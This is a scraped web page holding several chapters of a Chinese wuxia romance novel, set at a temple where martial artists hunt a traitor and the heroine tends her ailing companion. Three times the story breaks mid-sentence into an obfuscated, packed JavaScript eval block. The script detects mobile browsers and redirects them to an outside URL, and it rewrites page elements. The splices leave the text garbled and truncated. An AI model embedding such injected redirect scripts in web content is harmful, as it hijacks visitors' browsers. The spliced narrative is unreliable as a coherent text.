一个灰衣和尚在为柳折舟诊脉,原湘湘便立在一旁一言不发地守着。 他的手——床沿上那只莹如白玉的手引起了她的注意。 柳折舟那只露出的右手上面布满黄色的厚茧,掌心的第二道线上赫然长着一颗痣,掌心的皮肤几乎完整如新。 “这么快就痊愈了?”原湘湘难以置信地擦了擦眼睛,生怕自己被烛火晃了眼,“苏叶那一剑被他双手拦住,就算不见骨也得割破血肉筋脉,这才几天?” 湘湘拧起眉,心中顿时不妙起来。 长长的眉眼,高高的鼻骨还有那双总是笑意盈盈的薄唇,如今都已安静不动。 柳折舟闭上眼睛时,光影在他的脸上明灭不定,朦胧的脸上似乎有种异样的美感。 她看着看着,神色陡变,慢慢向床边近了几步:是我太累了? 屋内的香案上燃着熏香,升起的浅紫色的烟雾慢慢氤氲到整个房间。 外室还烧着个小火炉,带着屋内几个正在火上的药壶,烟气与热气缭绕,不仅不让人烦闷,反倒平添几分心安之意。 “奉国寺一事了结后,便就散了吧。”她暗自道。 奉国寺坐落在京畿城外的连绵山脉之中。 因地势偏北,一年之中,总是冬季更长些,春季来的稍晚。如今山上杀机四伏,更难显春意,目光所至,亭台院落负雪,山中林间落白,一片凄冷肃杀。 翌日,澄明传话,此毒名为“疏影香”,乃霍洋囚禁人时所用,无色无味,专门封人内力,诸位不可强行运功,负责会筋脉尽断,内力全失,变成废人。 不过此毒只要慢慢等待,自可慢慢散去。 众人惊呼,也有不少人痛骂:“慢慢等慢慢等,等鬼观音来了,我们把刀子递过去给她砍吗?真是没用!” 于是又有几个门派打了退堂鼓,保命要紧,先行离去了。 “谁道天地变化呢。”原湘湘在后山练武时心中这样想。 眼下她最想做的就是如何才能在鬼观音现身时帮到她,免得她被这群人暗算。 原湘湘早起之后,到药房准备煎药。 只是近来药庐里床铺不够,加之柳折舟又是个择床的性子,思来想去还是让托了两位僧人,将他抬回了东厢房间。 耳旁有僧人们切菜洗菜的声响,她愣愣盯着手里的蒲扇,摇啊摇的,渐渐地便和某只手重叠,那动作简直和柳折舟一模一样。 她心中一怔:怎么这个时候也能想到他? 与此同时,耳朵里却也涌进一串人声,抬头一看,原是裴玉珠来了厨房。 原湘湘侧身看过去,只见这个人正在向厨房里几个伙房僧人说这话,因为离得稍远,听不大清。 她索性离了火炉,凑近凝神细听。 裴玉珠与她差不多同岁,虽然还是个少年,但委实是个细腻又有想法的人。听了一会他们的谈话,方知原是裴玉珠在调查昨晚饭食的事,又问了些近日里膳房里的人员有无异常之处。 “临近试剑大会,寺里生人也多,不知师傅有没有留意最近什么奇怪的地方?” 一个戴着围裙的掌勺和尚道:“后厨每天除了我们,也都有不少人来过。” “比如这位姑娘。”有人指了指正好路过门口的原湘湘,“但下毒的人绝不可能是奉国寺的人。” 原湘湘突觉不妙,抬头一看,发现门口那几个人都在看着她。一时之间她竟有种百口莫辩的错觉,只得尴尬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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厨房门口几个和尚哑口不言,裴玉珠面色更沉,原湘湘听他厉声道:“诸位大师放心,此番,我们一定会揪出鬼观音,杀她报仇!” 原湘湘添柴的手明显一顿。 看见她又在煎药,裴玉珠纠结万分还是决定过去一趟。 不管他们来夺剑的,还是想要观音血以求不老不死,或者来奉国寺烧香拜佛……又或者求佛祖保佑师兄妹二人姻缘,他都决定去问个明白。 他拱手施礼,道:“原姑娘打扰了。” 其实这一声打扰,多多少少也有些前两次他对于原湘湘的歉意。 “确实有点。”原湘湘抬眸看向他,依旧是那种古井无波的口气,眼底昏暗,没有一丝神采。 裴玉珠:“……对不住。” 待炉中火焰愈来愈小,药汤也不在沸腾,原湘湘拿了块抹布包在药壶柄上,细手轻抬几下,那滚烫的药汤便汩汩流入白净的瓷碗里,一滴未洒。 裴玉珠与她隔了一道长灶台,顶上是一排安放杂物和厨具的竹栏,下面便是这可以同时烧起三口铁锅的灶台。 原湘湘便是在这长灶台的角落里燃起的炉子。 原湘湘将他堵得说不出话,他倒也真的不像前两次那般死缠烂打,只是站在那里,静静地看着——虽然忙活半天照顾的不是他。 “原姑娘,要不和我一同调查吧!我们联手一定能揪出来鬼观音!” “哐啷”一声,原湘湘把药壶放在了桌上,震得锅碗瓢勺心惊肉跳。 “裴少侠,我们不是一路人。” 裴玉珠见她快步又走,忙朝着她的背影喊道:“可是你的师兄也被鬼观音害了,你不想为他报仇吗?” 原湘湘本想继续往前走,突然想到了裴玉珠他们这群人是要揪出鬼观音杀了的,而自己却是要保护鬼观音的。 她的眼前灵光大闪,于是转过身道:“自然想报仇。” 一字一顿,龇牙咧嘴,僵硬无比。 望着原湘湘,裴玉珠怔愣半天,最终还是没问出想问的话来。 11. 伽蓝起火疑人反被人疑 窗户大开,寒风涌入,烛火甫一亮起,便被夜风带得左右摇晃,连带着她的身影也摇缀不止。 原湘湘走进内室的屏风后,将那件半臂外衫脱去——这件衣服是临行前师娘专门为她缝制的。湘湘喜欢颜色艳丽的东西,上面就按着她的喜好缝上了许多浓绿深黄的花朵丝带,亦作点缀。 她将外衫整理叠好,搭在了屏风上。此时,一个清瘦的少女身形便在屏风上显露无遗,映着莲花祥云更显得飘渺仙气。 因为没了外衫的遮挡,她腰后那把青黑色剑鞘的短刀便露了出来。 她解开鞘绳,那把短剑便静静躺在她的手中。青黑色的刀鞘雕刻着繁复华丽的金饰花纹,剑柄处飞舞蜿蜒的暮草装饰更似一只展翅欲飞的南归鸿雁,栩栩如生。 “湘湘啊,师父活大半辈子也没啥本事,也就打铁这门手艺还凑合,想来也没几天可以活了。”十五岁那年,她的师父将这柄短刀交付与她:“收着吧,就是想让你知道以后受着委屈,要记得回家,师父永远都会等着你。” 她猛然抽出刀刃,明灭烛火间光影交替,映亮那双微微大睁的双眼,刀柄下方赫然刻着两个字:雁栖。 “师父送你这把小刀呢,还是用作纪念的。”那个铁匠师父粲然一笑,道,“切不可随意将其显露在外。” “死活不让看不就是必须要看的意思吗。”原湘湘连眼皮都不想抬一下。 “确实如此!” 那个满手粗茧的男人神色蓦然一变,将原湘湘拎了起来。 或许是见原湘湘生了怕,那个男人又笑道:“毕竟上面都是师父大半辈子攒下来的金子,但是呢……某一日,若有性命之危,刀柄里有为师设置的机关,你把里面的东西拍进你的伤口里就好啦。” 那男人浓黑的两条眉毛一趴,扔下手里的大锤,可怜兮兮地望着原湘湘:“明白了吗,湘湘?” “……好。”原湘湘努力伸手挡开他的大脸,道,“可是为什么不是吃到肚子里?” “湘湘呐,和别人打架流血是外伤,血喷出来会死人的,只要把药拍进伤口,就能让你‘不死’的,知道了吗?为师我怎么就捡了你这个小傻子,呜呜。”男人咬牙切齿地强调“不死”两个字,“活着回来给我烧纸,听到了吗?为师活着穷得要死,死了你可不能让我继续没钱啊!” “那我要是和人打架肚子都被捅烂了呢?”她相当平静地说出这种血腥场景,“肠穿肚烂的那种。” “所以——我说不准你下山!给我老老实实待着!”男人拎她像拎小鸡一样,把湘湘放到眼前警告她。 可还没过多久,他就又开始哭起来,埋怨原湘湘白眼狼,不爱护老人。 她看着那个自哭自泣的男人,不禁扶额无语:“师父,你……离我远点。” “怎么?你想造反?” “不……不是。”原湘湘脑袋使劲往后仰,道,“师父,你有老人臭了。” “好你个臭丫头!晚上别想去你兰姨那里吃饭了!” 回忆历历在目,令她难以忘却。 两年里,她都曾试图打开雁栖的刀柄,结果都是——根本打不开,刀柄跟一块实心铁没区别。 虽说如此,可她知道事情绝不会这么简单。 想到这里,原湘湘埋在烛光里的脸瞬时暗了一半。她合上那把短剑,又将其重新藏在了后腰——而后摸了摸腰旁挂着的那柄长鞭。 你能保护谁? 她问自己。 深夜,山间夜风清和,星辰寥落。 原湘湘原本正躺在床上小憩,却在堪堪熟睡之际,耳中灌入一阵又一阵的纷乱嘈杂。叫喊声,咒骂声,脚步声……全部交织在一起。 “走水了!走水了!” “伽蓝殿走水了!” 她的神经瞬间炸开,拿起武器提步便往外冲。 伽蓝殿处火光滔天,即便离得远,原湘湘也能闻到烟熏火燎的刺鼻味道,待原湘湘快进东院时,只见那里又被围了个水泄不通,往来人群纷乱嘈杂,除却不停送水灭火的几十位武僧外,还有不少江湖人士正从周围花坛里掘土灭火。 不多时,火势渐小,往来人群稍稍安静。她穿过人群进入时,只见十几个灰衣和尚和几个江湖汉子合力抬走十数具尸体。 那尸体有的身上的血衣斑驳,脏污腥气冲天;有的则被大火烧得面目全非,根本无法辨认。 原湘湘心间一颤,还不及跟上去,她的后肩便被一只有力的手掌沉沉压住,有人道:“你才来?” 她定身回眸,原是天浮岛岛主王岳生。 他缓缓从原湘湘身后现出身形,目光冷厉,似乎要把原湘湘从里到外看个通透,要她半点保留也无。 她不禁屏住声息,不敢动上一下。 突然之间,他面上青光闪动,怒道,“你们好一对师兄妹啊,害得我内力尽……” “王岛主,澄明师傅那边请你过去。”正在僵持之间,一个传话的灰衣瘦和尚打断了王岳生。 不得已,他只得挥袖,回头瞥了一眼原湘湘,愤然离去。 眼风扫过,原湘湘觉得自己差点窒息,她知道那个人一定未曾显现过真正的实力,方才只是一拍就把原湘湘震在原地呼吸不能。 放眼望去,原本齐整恢弘的寺庙独院已被烧毁大半,露出焦黑的断壁残垣,地上到处都是泥水,所过之处,无一处完好。而那未被烧毁的半块墙壁上,可见血迹斑斑,地板上也是干了一大片血渍,烟熏火燎的变了色。 伽蓝殿内的金刚罗汉几乎都被烧了个干干净净,唯独那殿中高大的佛像还留有半边残躯。原湘湘抬头望去,那佛像只剩一半的慈悲,一只低垂的眼正注视着她。 她清楚听见有个嗓音明晰的和尚在说话:“想必又是鬼观音先下药,再杀人……” 是澄明。她心中一怔。 “此役,必要铲除这个江湖祸害!她到底有什么目的!”王岳生怒不可遏。 “……鬼观音如此作为,好像是在逼我们做什么事。”裴玉珠在旁寒着脸,“从这几次来看,她明明有机会把我们一口气杀光的。她却一次次的变本加厉,给我们留喘息的机会……不就是给我们留说话的 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原湘湘看着周围人,她的眼睛扫过王岳生,发现那厮正冷冷看着自己,二人眼神相触的瞬间,便纷纷扭开脸去。 “有方丈大师的封印,孤鸿暂时应该没事。”裴玉珠冷冷道,“否则她也不会大费周章地一次次杀人给我们看。” “这就是杀给方丈大师看,逼他做个选择,到底是要剑还是要一寺庙的人。” 裴玉珠挺身而出,道:“所以我们要揪出鬼观音的行踪来!她被方丈和玄同长老重伤,而且练了邪功,又不能见日光,她必不可能来无影去无踪地杀人下毒,因此我断定,寺中一定有内奸!” 裴玉珠话音刚落,在场先是沉寂,然后一片唏嘘,很快众人便骚乱起来,眼神瞬间都变了样。 “裴少侠所说不错!”王岳生迈步而出,“鬼观音能够如此,一定是因为我们之间有内奸!” 他的眼神扫过在场众人,最后定定落在原湘湘身上。 原湘湘也抬头不让半分,冷着脸看着对面几人。 裴玉珠不知想到了什么,他看向原湘湘时,眼中熠熠闪着光。 “我赞同裴少侠的观点!”一个尖利嗓音飘了进来,“鬼观音不得见日光,她白天一定是躲在了哪里,然后有人帮她的忙!” 原湘湘顺着声音的方向望去,一身粉色衣衫飘飘摇摇,苏叶提剑而来。而此刻,苏叶也正微微笑看着自己。 原湘湘偏过了脸不看她。 天下人人都知孤鸿剑乃是前朝遗物,是大太监霍洋的佩剑,是灵帝墓的钥匙,后被鬼观音所得,人与剑,声震武林。 可这剑在三年前,却因为鬼观音走火入魔被她主动交出,她才换得三年性命,然后剑被封印在了阆天塔中。 “我们之中——有谁几乎没有露过面?” 有人胆战心惊地问了一句,却犹如巨石投湖,在众人心中瞬间激起层层巨浪。 原湘湘大惊。 “你怀疑我们?”她紧咬牙根,牙齿碰撞发出咯咯的微响。 12. 回忆晌午原、柳对决绝不认输 同一日的晌午。 日光从云层里透了出来,又折进屋内,映出好几处灰暗明灭的影子来。屋内静寂无声,偶有从偏窗涌入几缕微风,扰得帘上流苏轻动。透过窗看去,房屋后有一方小小莲池。莲池周围已长起了绒绒绿草,水面上也浮着片片青萍。 风一吹,便随着微波摇动,泛起点点粼光。 屋内,利落的木床上正躺着一个年轻男子。 那男子生得面目和柔,嘴角似笑非笑,可那对长眉却微微皱紧,不知梦里又遇上了什么难解之事。 良久,那男子露在棉被外的一只手陡然轻动,随即他便睁开了眼,剪水一般的双瞳里有着说不清道不明的晦暗阴沉。 柳折舟拿起床边柜子上的发带,将散开的长发束起,便停止不动了,只是一人枯坐在床上。他本就瘦削,几日未进水米,更是形似草木柔脆,带着一股莫名的枯槁之美。 这一觉,委实睡得有些久了。他兀自想道,可心头却是少见的一片清明。 他长舒一口气,才慢慢拉回神思,眼睛里也开始有了活人的气息。他望向窗外,许是光线刺眼,登时便收起眉头,长长的睫毛在眼下投下一片青黑色的阴影。 不消多时,柳折舟便开始穿衣洗漱,动作慢条斯理有条不紊,暗纹蚕丝里衣,素色锦缎长衫……他稍稍停顿了片刻,后又拿了件青白色的素净长袖外衫。 衣带都系紧后,他方才脑袋一偏,似是思考为何要挑了这件,可是那个刚刚睡醒不太清明的脑子里出现的却是原湘湘和另一个少年人同桌吃饭的情景。 柳折舟望向屋内那张圆木桌,只见那木桌上放着一碗白米粥,两碟小菜,竹筷和瓷勺静静躺在瓷碗旁边。 不过,那粥早就凉透了。 虽然早就没了热气,但那饭菜一眼见之便知不是隔夜饭。他不禁眉舒目展,悄悄扬起的嘴角似乎对此已经习以为常。 不消明说,他也知道这是何人所为。 眼下刚醒,既无事可做,腹中也是空空如也。百无聊赖之际,他索性坐在桌边,拾起勺子便吃起来。 白粥入口,味道说不上好或者不好,虽然早已凉得透,但也莫名其妙的叫人安心。 不多时,房门便“吱呀”一声开了,动作轻微缓慢。木门半开,便有个瘦瘦长长的人影被拉长到柳折舟的面前。 只是……今次她眉头轻蹙,面色不佳。 新煮的米饭,两碟山间野菜小炒,还有一碗甜汤,正氤氲着热气盘旋而上,颜色清新透亮。 原湘湘在摆放饭菜的过程中,柳折舟倒是老老实实地坐在一旁,不言不语的。眼睛在饭菜和原湘湘的脸上来回打转,犹似被春风轻吹的新生柳叶,摇缀不止。 柳折舟瞧见她心情不佳,便问道:“湘湘姑娘似乎有心事,不知能否说来与我听听。” 原湘湘只顾吃饭,不想搭理他。吃饭期间,她曾抬眼看过柳折舟好几次,心里不住暗自道:“这人最大的优点就是没有一点脾气,怎么招呼都好,总是笑吟吟的。” 饭毕,柳折舟说自己睡了好几日,头昏脑胀的,要原湘湘陪他出门散步。 原湘湘本想拒绝,可她望见那张脸之后,最终还是咬咬牙陪着他去了。 “奉国寺依山而建,毗邻帝都,坐北朝南,分为中、东、西三条路,中路为主要建筑所在。当然,最妙的就在于寺庙后山那座断壁小山,虽然毫无退路,但上面却修了一座巍峨美丽的木塔,塔身雕刻精美,彩绘尽生,绝对是寺里一大奇景。”柳折舟独自走在前,一边走着一边还不忘介绍着奉国寺。 原湘湘看着周围绵延的长山,云雾袅袅,如墨一般化进残雪,真如佛堂前信徒供奉的一缕青烟,恍若隔世。 “你怎么对这里这么熟悉?” “我说过的呀湘湘姑娘,我自幼就在这里治过病,这一次来也是找方丈大师给我治病。” 原湘湘默默看他一眼,心道:“果真富家子弟,好大的阵仗。” 柳折舟拂袖擦了擦脸上的薄汗,道:“我们……就在此处歇息吧,正好也能看见阆天塔。” 说罢,他就施施然进了亭子坐下来。 原湘湘当然知道这是哪里——就是她每日过来练功的僻静处。 此时日头正盛,山间渐渐生起暖意,风也如女子腕间的轻纱一般柔软,擦着人的脸颊而过。 “湘湘姑娘为什么要来奉国寺?”在她身后,柳折舟罕见的沉声问道。 “你把我带到这里来就只为了问我这个?”原湘湘站在落雁亭外的一块石头上,身姿笔直,坚韧如竹。 “自然不是,只是见你今日很不开心,和平常很不一样。”柳折舟坐在她身后的亭子里眼睛一动不动地看着原湘湘背影,“我想,能否为你做点事,让你开心点儿。” “你要听真话还是假话?” 原湘湘忽然转过身来,低低一笑。 她转身的那一刹那,风拂起她蜷曲柔软的发丝,浑身火烧似的红和着满山青绿残雪,青天白日里,原湘湘立在风中微微一笑,一头卷发被风吹得纷纷扬扬,满身珠花飘带迎风飞舞飘摇。 柳折舟恍惚望去,不禁疑问:天,好像才亮吗? 他微不可察地绷紧了双手,片刻后,缓缓道来:“我……要听假话。” 他的口气掷地有声,如同誓言般郑重。 柳折舟和原湘湘相处差不多已有二十余天,这些天来,他头一次见到原湘湘露出如此直观的笑意。 “好。”原湘湘似乎对他的答案很是满意,她快步到柳折舟身旁坐下,“我要拜鬼观音为师,我要变强。” 周围陷入了沉寂,但话已出口,绝无收回的可能,原湘湘知道说出这番话意味着什么。过了许久,她并没有等来嘲讽,玩笑,愤怒,只听柳折舟慢慢道:“可是湘湘姑娘你还是很不开心。” 原湘湘一愣,撇过脸,咬着下唇不说话了。 你能保护谁?她扪心自问。 “是不是因为他们都要杀鬼观音,湘湘姑娘你却要拜鬼观音为师,所以你不开心?” 原湘湘把头扭得更远,两手抓着衣襟,不置可否。 柳折舟望见她的反应,便慢慢道:“湘湘姑娘可以换个角度来想嘛~如果鬼观音赢了,我们只是来走个过场,不会死,你可以拜她为事,拥有光明的未来;如果他们赢了呢,我们还是走过场的,能保住性命,也有光明的未来;如果是湘湘姑娘你赢了呢,是更加光明的未来!” 怎么能说没有光明的未来呢? 他说完便努力伸头,左摇右晃地想看看原湘湘的反应。 “照你这么说,我们就来打酱油的,什么也做不了。”原湘湘谈不上生气,但多少有些失落。 “也不尽然,我觉得湘湘姑娘一定可以实现愿望的。”柳折舟沉声道。 原湘湘转过头看他,面色不禁好看了些。 不管真假,这话听着舒心倒是真的。 柳折舟瞧见原湘湘心里痛快了些,他就扇起了扇子,一点没在意现在是早春二月吹寒风。 “其实我有件事也想对你说。”瞪了他半晌,原湘湘忽然冷不防出声,道,“其实你不涂脂抹粉的时候更好看,原来就像玉一般的皮肤真好看。” “你都知道了!”柳折舟大手一拍捂住自己的两腮。 他转念一想,自己这条命都是原湘湘救来的,好几次都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685483|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被看光光,她不知道才奇怪。 想到这里,他的脸开始泛红,眼里也变得雾蒙蒙的。 “其实——”原湘湘鬼一样的把脖子和脑袋平移过去,贴着柳折舟的脖子和脸颊,直勾勾地看。虽然已经被柳折舟捂了个严严实实,可她那逡巡的眼神就像刀刃一般,似乎能把人剥皮拆骨,“平时外人看不到的。” 柳折舟“唰”的一下更红了,就像一只被蒸熟的蟹。 “不离这么近没人看得到你脸上的裂纹。”她说话时的语气还是那么无波无澜,高高的鼻尖几乎擦过柳折舟的脸畔。 而后,她又平移了回去。 眼前寒光一闪,柳折舟只觉耳侧掠过一股凉意,惊得他不知如何是好时,原湘湘便伸出手为他理了理耳旁的碎发。 他本来颊边没有垂发,原湘湘方才掏出雁栖,为他理出几缕碎发,右边稍多,左边略少,正正好能让两颊若隐若现,还不会挡住柳折舟左眼窝里的小痣。 原湘湘双手抱胸,看着他,半天不说话,似是端详,似是出神。 柳折舟眼睛晶晶亮亮的,轻轻喘着气,不知在想些什么。 “我都被你看光了,你不得给我点补偿吗?” “你不会要我娶你啊啊啊啊?”湘湘被吓成了大舌头,慌得她两腿一抻,屁股下面的石凳就载着她漂出丈远。 她还记得柳折舟说要努力成为“内人”的事。 我可不能娶别人,我有喜欢的人。 “不会。”柳折舟轻轻捋着自己的头发,眼中的光转瞬即逝。 他道:“我要你答应我三个条件。” 原湘湘不禁思索:“若是答应他了的话,他要我娶他,岂不是完蛋?” 柳折舟见她犹豫不决,道:“绝不会违背江湖道义,绝不违背湘湘姑娘本心,绝不耽误湘湘姑娘任何事。” 原湘湘沉吟片刻,道:“好,我答应你。你说吧。” “等我想到再说。嘿嘿。” 原湘湘:“……” 她突然气不打一处来,沉声道:“柳折舟,你今年多大?” “二十四。” “那你怎么还不成亲?我家附近像你这么大的男子,孩子都三个了。”原湘湘步步紧逼。 柳折舟面上不太好看,半天才支支吾吾开口:“我可不敢成亲,谁要是跟了我,那可………” 剩下他叽叽咕咕说什么原湘湘没听见,不过,她折腾柳折舟的心思却忽然没了,听着呼呼风声。 原湘湘心想:应该是风太冷了吧。 还不待她反应过来,柳折舟就已俯身对她附耳道:“湘湘姑娘,为什么不进那塔中看看呢?” 她那是不想去吗? 是不能去,不能打草惊蛇。 原湘湘觉得柳折舟是为了报复她才故意把自己拉到阆天塔守卫旁的。 “几位师傅,能否让我们二人进这宝塔中瞧瞧?” 柳折舟此时倒是快得让原湘湘惊掉下巴,他独自一人走到阆天塔的护卫前说要进去,最后又被人架了出去。 上午和柳折舟的事突然就浮现在眼前,原湘湘望着眼前几个不怀好意的人,心中生出怒意,可是他们人多势众,自己只能狠狠忍下。 耳旁传来脚步声,湘湘全身也随之绷紧。 “不要担心,我们都会挨个排查。”王岳生走到原湘湘身旁,将手搭在了她的肩膀上,“走吧,带我们去见你的师兄。” 原湘湘感觉自己的肩膀上有了什么恶心玩意儿似的:“凭什么先查我们?” “因为你的师兄死了——还能活。” 王岳生俯视着原湘湘,目光如剑般锐利,令人透骨生寒。 13. 蓄意针对不成,月下反现孤鸿 “要查就先查你们。”原湘湘冷声道。 “你这样一说,我们更要先去了。”王岳生冷笑一声,迈步出去。 原湘湘本想上前挡住他,可突然动弹不得,她回头一看,原来是裴玉珠拉住了她。 裴玉珠道:“原姑娘,我们不是要针对谁,每个人都会查。而且,你本来就跟我一起要去调查事情的。” “谁跟你一起的。” 话音冷漠,红袖扫过裴玉珠的眼前,原湘湘人已飞出门外。 其余等人微微一怔,便立刻跟上。 此时已是月上中天。 远远的,她便望见一个瘦高的身影倚着不动,映着清辉,虽然病恹恹的,但仍旧不减风姿。 柳折舟正斜靠在回廊的栏杆上,耷拉着脑袋,一眼望过去,就是困得睁不开眼皮的样子。 月光清冷,寒气倾泻而下。 地上有一长一短清清瘦瘦的两道人影,浸在如水般的月辉里,相隔数尺。 她心中一怔:难不成是一直在外面等着我回来? “你怎么在这里?”她的语气格外不自然。 “我见你许久不归,就有些担心。”他笑笑,用手指了指伽蓝殿的方向,“方才我听见寺里起火了。” 柳折舟起身向她走来,原湘湘见他那副月下漫步的款款姿态,还真有几分神仙妃子的味道。 “你——”原湘湘还未说完,身后便传来一阵急忙的脚步声,只听王岳生道:“柳公子。” “王岛主。”柳折舟站定,行云流水般地伸手把原湘湘拉到自己跟前,笑道,“月色正好,山间清静,不知此时……诸位来我这里有何贵干?莫不是怀疑伽蓝殿是我放的火?” 裴玉珠站在一旁,垂眸不言,苏叶在旁朝他翻了一个白眼。 原湘湘心中大动:“此人看来还有些良心。” “原姑娘师兄,实不相瞒,我们确实调查出了一些线索,现在需要检查每一个人的住处。”裴玉珠上前恭恭敬敬。 “然后?”柳折舟道。 原湘湘抬头看他,发现他居然还在笑,不禁无语凝噎。 她心道:“你是不是内奸我不知道,但我做贼心虚啊,虽然我也没有杀人放火……” “找出鬼观音在寺中的内奸。”王岳生接着裴玉珠的话继续解释,“此前鬼观音为盗取孤鸿,被寺中长老重伤,而且她修炼了霍洋的邪功,白天必然不能见日光,要想接连杀死众多高手,一定少不了内奸的帮助。” 柳折舟点头轻笑,道:“王岛主考虑得确实得当,为了大家性命考虑,尽早抓到内奸才好,行远自当配合。” 原湘湘见他这般听话,心间一凉,便道:“那么多人呢,你为什么只先查我们?” 没有其他原因,原湘湘觉得王岳生就是故意的,他就是看自己不顺眼。 “可是——我这不懂事的小师妹不想大家先查呢。”柳折舟突然接着她的话,面上笑意更盛。 原湘湘到柳折舟那欠揍的笑声,突然意识到这人也是故意的。 “自然每个人都跑不掉,如果你们没有嫌疑又为什么害怕被我们搜查?”苏叶上前,她的眼睛不时扫过原湘湘腰间的长鞭。 “还没查,罪名就先扣上来了?”原湘湘据理力争。 苏叶被原湘湘打断了说话,正火冒三丈,就听王岳生道:“夜已深了,还请柳公子行个方便吧。” 柳折舟道:“听我师妹的意思,是诸位先行怀疑我们师兄妹俩才起意搜查的。既然如此,我便直说了,我们不是内奸。” “每个人的住处和行李都会检查。”王岳生脸色铁青,“自然绝无例外。” 柳折舟又道:“我们行得正坐得直,只是来参加试剑大会的普通人,而且诸位也是江湖中有头有脸的英雄,想必也不会故意栽赃陷害——只是,既然执意要先查我们,摆明了要侮辱我们是兄妹俩,那么我也有个要求。” 裴玉珠看着柳折舟和原湘湘貌似亲昵的样子时,眼中光彩黯然失色。 “你说。”王岳生大袖一拂,似乎有些不耐烦。 “若我们真是鬼观音的帮凶,任由诸位英雄处置;可若我们不是……”柳折舟缓缓将两只手肘搭在原湘湘的肩上,这样看过去,他正好环着原湘湘。 原湘湘的嘴角正在突突抽筋,柳折舟的小臂环绕而过时,惊得她整个人直发抖。 “不是怎样?要我们给你们下跪认错?”苏叶气道。 “若我们不是,请诸位带我去见奉国寺方丈。”柳折舟突然叹气,道,“此前我悄悄去过几次,根本见不到,可我这病症一刻也拖不得了。” 原湘湘无语,她已经不想说什么了,柳折舟非得把她拉进来,可是说到好处时,又丝毫不带她玩儿。 “好。”澄明从人群中缓缓走出,道,“出家人不打诳语,一定按柳施主说的办。” “请吧。”柳折舟左手圈着原湘湘,二人侧身留出一条路来,右手向外一滑,示意他们进去。 期间,裴玉珠一言未发,他也不知事情怎么就到了这个地步,他的脸上似是不忍又似悲伤。 王岳生等人路过时,他们分男女两拨人分别去查了柳折舟和原湘湘的住处和一切物品。 待那一群人离开后,原、柳二人又分别坐在栏杆上,此刻月光正好。 “湘湘姑娘怎么今天这么生气?”柳折舟倚栏听风看月亮,嗓音清清柔柔,“风景真好啊,就是有些无聊。” 原湘湘不想搭理他,虽说那群人必然查不出来什么,而她也可以趁此看别人搜查柳折舟,但是那群人信口雌黄!正如他们会说任何人命都是鬼观音害的一模一样! 她一动不动,正在努力平复心情,柳折舟慢慢又蹭了过来,道:“湘湘姑娘,你说,他们会查出来什么呢?” 原湘湘还是不想搭理他。 “看来这鬼观音当真可恶。” 原湘湘给了他一记眼刀。 “对不住对不住!”他赶忙道歉,又冲着原湘湘眨眨眼,“但是湘湘姑娘一定要拜她为师,自然有湘湘姑娘的道理。” 说这话时,柳折舟的声音几乎微不可察。 “你什么时候去找的方丈?我怎么不知道。”原湘湘抬眸看他。 “之前醒着的时候去过一两次,只不过每次都被挡了回来,而且这一趟来,几乎没怎么清醒过。”柳折舟说起话来依旧云淡风轻,“奉国寺中遭逢巨变,想必方丈大师情况也不太好吧,因而我想去看看他。” 柳折舟说得不错,目前他是躺板板时间最长的人。 “你相信这一切都是鬼观音做的吗?”原湘湘忽然去问柳折舟。 她这一抬眼,倒让柳折舟有些意外,原湘湘锐利如刀的青色眼瞳中头一次展露了些许柔软。 他道:“我坚信,我保证,绝不是。” “你真好啊。”原湘湘叹气,又垂目调息去了。 不多时,耳朵里响起急促的脚步声,原湘湘知道是王岳生和苏叶两拨人便回来了,他们的面色都不太好看。她一眼便知,他们肯定是什么都没查到,所以才不满意。 “柳施主,夜已深了,不若明日小僧再带您拜见方丈大师呢?”澄明自人后出来,清俊的年轻和尚沐在月光中,手腕间的绷带也露出来了。 “不必。”柳折舟坚决回绝,“就现在。” “你!”苏叶不满,话刚开头,便被王岳生拦了下来。 “方丈大师应该正在休息,夜半扰人,恐怕不妥吧。”王岳生不悦。 “没事,以前我也是半夜去,他是知道的。”柳折舟坚决不退让,此时,他的眼中流出了几许让原湘湘很是陌生的凌厉和强硬。 澄明默默点头,但是他看向柳折舟的眼神却顿时晦暗下去:“柳施主,请吧。” 众人离去后,原湘湘倚身靠在栏杆上,抬头望向高处,月光明亮,晃得她也不自觉地眯起眼来。 原湘湘不禁在想:“如果这一切都是鬼观音所为,那她必然有一场恶战;如果……真相正如自己坚持的那样,不是鬼观音所为,那岂不是意味着……有两个鬼观音?” 她突然身躯一震。 “你要去哪儿?”原湘湘又听见那个尖尖细细的声音,“你是不是见过我大师姐?不然你怎么会有玄天教的血藤鞭?” 此刻,这里只有她和苏叶二人。 周围静寂寥寥,一天一地之间,唯有山野茫茫,规模甚大的奉国寺落入黑色的山野间,竟也渺茫得不可一视。 推门刚进禅房时,入眼便见一缕轻烟直上,香气素雅清神,让人都随之平静镇定下来。屋内陈设简单,除却桌椅板凳外,便只剩些经书字画。 柳折舟眉头轻抬,睥睨着周围,眼神凛冽与平常判若两人。 方才澄明带他过来,一路上二人只字未提,临近门时,他掏出一封信一根衔凤簪子来,要澄明转交。 那簪子虽然光泽暗了许多,但其上雕镂精致,一眼望之便知不是普通俗物。 不多时,澄明须发皆白的奉国国寺方丈便从内室走了出来。 那苍老的僧人身着一身黄色里衣,外罩一件红色袈裟,脖颈间挂着一串褐色的楠木念珠,虽然已经被鬼观音重伤,但他仍步履稳健,双眼纯净,望之浑身不染一粒尘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 